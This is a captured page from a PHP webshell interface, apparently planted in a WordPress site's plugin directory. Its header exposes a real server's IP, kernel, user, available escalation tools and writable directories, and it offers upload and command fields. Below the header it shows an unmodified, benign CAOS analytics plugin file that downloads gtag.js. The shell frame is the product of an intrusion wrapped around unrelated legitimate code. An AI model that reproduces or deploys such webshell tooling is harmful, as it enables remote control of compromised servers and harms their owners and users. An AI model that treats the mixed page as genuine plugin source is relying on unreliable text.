403Webshell
Server IP : 150.230.34.123  /  Your IP : 216.73.217.23
Web Server : LiteSpeed
System : Linux amd-instance-20210802-1657 5.15.0-1042-oracle #48~20.04.1-Ubuntu SMP Mon Aug 21 18:27:46 UTC 2023 x86_64
User : ubuntu ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lsws/aloysius/html/wp-content/plugins/host-analyticsjs-local/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/aloysius/html/wp-content/plugins/host-analyticsjs-local/includes//class-cron.php
<?php
/* * * * * * * * * * * * * * * * * * * *
 *  ██████╗ █████╗  ██████╗ ███████╗
 * ██╔════╝██╔══██╗██╔═══██╗██╔════╝
 * ██║     ███████║██║   ██║███████╗
 * ██║     ██╔══██║██║   ██║╚════██║
 * ╚██████╗██║  ██║╚██████╔╝███████║
 *  ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝
 *
 * @author   : Daan van den Bergh
 * @url      : https://daan.dev/wordpress/caos/
 * @copyright: © 2021 - 2023 Daan van den Bergh
 * @license  : GPL2v2 or later
 * * * * * * * * * * * * * * * * * * * */

defined( 'ABSPATH' ) || exit;

class CAOS_Cron {
	/** @var string $tweet */
	private $tweet = 'https://twitter.com/intent/tweet?text=I+am+now+hosting+gtag.js+locally+for+Google+Analytics.+Thanks+to+CAOS+for+@WordPress!+Try+it+for+yourself:&via=Dan0sz&hashtags=GoogleAnalytics,WordPress,Pagespeed,Insights&url=https://wordpress.org/plugins/host-analyticsjs-local/';

	/** @var string $review */
	private $review = 'https://wordpress.org/support/plugin/host-analyticsjs-local/reviews/?rate=5#new-post';

	/**
	 * CAOS_Cron_Script constructor.
	 */
	public function __construct() {
		do_action( 'caos_cron_update' );

		// Check if directory exists, otherwise create it.
		$create_dir = CAOS::create_dir_r( CAOS::get_local_dir() );

		if ( $create_dir ) {
			CAOS::debug( sprintf( __( '%s created successfully.', 'host-analyticsjs-local' ), CAOS::get_local_dir() ) );
		} else {
			CAOS::debug( sprintf( __( '%s already exists.', 'host-analyticsjs-local' ), CAOS::get_local_dir() ) );
		}

		$downloaded_files = $this->download();

		// Only sent a success message if this is a AJAX request.
		if ( ! wp_doing_cron() && ! empty( $downloaded_files ) ) {
			$review_link = apply_filters( 'caos_manual_download_review_link', $this->review );
			$tweet_link  = apply_filters( 'caos_manual_download_tweet_link', $this->tweet );
			$notice      = __(
				'Gtag.js is downloaded successfully and updated accordingly.',
				'host-analyticsjs-local'
			);

			CAOS_Admin_Notice::set_notice( $notice . ' ' . sprintf( __( 'Would you be willing to <a href="%1$s" target="_blank">write a review</a> or <a href="%2$s" target="_blank">tweet</a> about it?', 'host-analyticsjs-local' ), $review_link, $tweet_link ), 'success', 'all', 'file_downloaded' );
		}
	}

	/**
	 * Download files.
	 */
	private function download() {
		if ( CAOS::uses_minimal_analytics() ) {
			return '';
		}

		$remote_file     = 'https://www.googletagmanager.com/gtag/js?id=' . CAOS::get( CAOS_Admin_Settings::CAOS_BASIC_SETTING_MEASUREMENT_ID );
		$downloaded_file = CAOS::download_file( $remote_file, 'gtag' );
		$file_alias      = CAOS::get_file_alias();
		$home_url        = str_replace( [ 'https:', 'http:' ], '', CAOS::get_local_dir() );
		$hit_type        = apply_filters( 'caos_gtag_hit_type', '"page_view"' );
		$finds           = [ '/gtag/js?id=', '"//www.googletagmanager.com"', '"page_view"' ];
		$replaces        = [ $file_alias . '?id=', "\"$home_url\"", $hit_type ];

		CAOS::find_replace_in( $downloaded_file, $finds, $replaces );

		$downloaded_file             = apply_filters( 'caos_cron_update_gtag', $downloaded_file );
		$downloaded_files['gtag.js'] = CAOS::get_file_alias();

		/**
		 * Writes all currently stored file aliases to the database.
		 */
		CAOS::set_file_aliases( CAOS::get_file_aliases(), true );

		return $downloaded_files;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit